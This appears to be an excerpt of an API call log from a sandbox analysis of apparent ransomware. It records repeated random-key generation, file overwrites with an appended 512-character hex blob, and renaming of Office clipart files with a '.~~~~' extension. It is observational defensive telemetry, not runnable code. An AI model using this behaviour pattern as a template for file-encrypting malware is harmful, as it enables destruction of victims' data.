	[0097.841] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0097.845] GetLastError () returned 0x0
	[0097.845] GetLastError () returned 0x0
	[0097.845] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0097.845] GetLastError () returned 0x0
	[0097.846] GetLastError () returned 0x0
	[0097.904] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffefd8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.904] WriteFile (in: hFile=0x120, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x1028, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x1028, lpOverlapped=0x0) returned 1
	[0097.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0097.907] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.907] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.907] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.907] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.907] CloseHandle (hObject=0x120) returned 1
	[0097.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.908] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.~~~~")) returned 1
	[0097.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0097.908] GetLastError () returned 0x0
	[0097.909] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0097.911] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.911] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0097.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0097.911] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21790100015) returned 1
	[0097.911] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa4119dd0, dwHighDateTime=0x1d60e1e)) 
	[0097.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0097.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0097.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0097.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3aa080
	[0097.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa080 | out: hHeap=0x300000) returned 1
	[0097.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280d7a8
	[0097.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.912] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0097.912] GetLastError () returned 0x0
	[0097.912] GetLastError () returned 0x0
	[0097.912] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0097.912] GetLastError () returned 0x0
	[0097.912] GetLastError () returned 0x0
	[0098.009] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffe67c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.009] WriteFile (in: hFile=0x120, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x1984, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x1984, lpOverlapped=0x0) returned 1
	[0098.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0098.010] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.010] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.010] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.010] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.010] CloseHandle (hObject=0x120) returned 1
	[0098.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.011] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.~~~~")) returned 1
	[0098.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0098.012] GetLastError () returned 0x0
	[0098.012] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0098.013] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.013] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0098.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0098.013] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21800318046) returned 1
	[0098.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa4224770, dwHighDateTime=0x1d60e1e)) 
	[0098.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0098.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0098.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0098.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9f68
	[0098.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9f68 | out: hHeap=0x300000) returned 1
	[0098.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280da08
	[0098.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.014] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0098.014] GetLastError () returned 0x0
	[0098.014] GetLastError () returned 0x0
	[0098.014] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0098.014] GetLastError () returned 0x0
	[0098.014] GetLastError () returned 0x0
	[0098.592] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffe0e4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.592] WriteFile (in: hFile=0x120, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x1f1c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x1f1c, lpOverlapped=0x0) returned 1
	[0098.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0098.593] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.593] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.593] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.593] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.594] CloseHandle (hObject=0x120) returned 1
	[0098.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.594] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.~~~~")) returned 1
	[0098.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0098.595] GetLastError () returned 0x0
	[0098.596] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0098.597] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.597] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0098.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0098.597] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21858730510) returned 1
	[0098.597] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa47a5a50, dwHighDateTime=0x1d60e1e)) 
	[0098.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0098.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0098.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0098.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28418b0
	[0098.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28418b0 | out: hHeap=0x300000) returned 1
	[0098.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285e808
	[0098.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.598] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0098.598] GetLastError () returned 0x0
	[0098.598] GetLastError () returned 0x0
	[0098.598] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0098.598] GetLastError () returned 0x0
	[0098.598] GetLastError () returned 0x0
	[0098.765] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffd054, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.767] WriteFile (in: hFile=0x120, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x2fac, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x2fac, lpOverlapped=0x0) returned 1
	[0098.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0098.768] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.768] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.768] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.768] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.769] CloseHandle (hObject=0x120) returned 1
	[0098.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.769] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.~~~~")) returned 1
	[0098.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0098.770] GetLastError () returned 0x0
	[0098.770] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0098.771] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.771] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0098.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0098.772] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21876173101) returned 1
	[0098.772] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa4948970, dwHighDateTime=0x1d60e1e)) 
	[0098.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0098.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0098.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0098.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841958
	[0098.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841958 | out: hHeap=0x300000) returned 1
	[0098.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285eb00
	[0098.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.772] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0098.773] GetLastError () returned 0x0
	[0098.773] GetLastError () returned 0x0
	[0098.773] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0098.773] GetLastError () returned 0x0
	[0098.773] GetLastError () returned 0x0
	[0098.794] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffe578, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.794] WriteFile (in: hFile=0x120, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x1a88, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x1a88, lpOverlapped=0x0) returned 1
	[0098.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0098.795] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.795] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.795] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.795] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.795] CloseHandle (hObject=0x120) returned 1
	[0098.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.795] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.~~~~")) returned 1
	[0098.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0098.796] GetLastError () returned 0x0
	[0098.803] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0098.804] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.804] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0098.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0098.804] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21879387579) returned 1
	[0098.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa49bad90, dwHighDateTime=0x1d60e1e)) 
	[0098.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0098.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0098.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0098.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841a00
	[0098.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841a00 | out: hHeap=0x300000) returned 1
	[0098.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29701e0
	[0098.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285ecc8
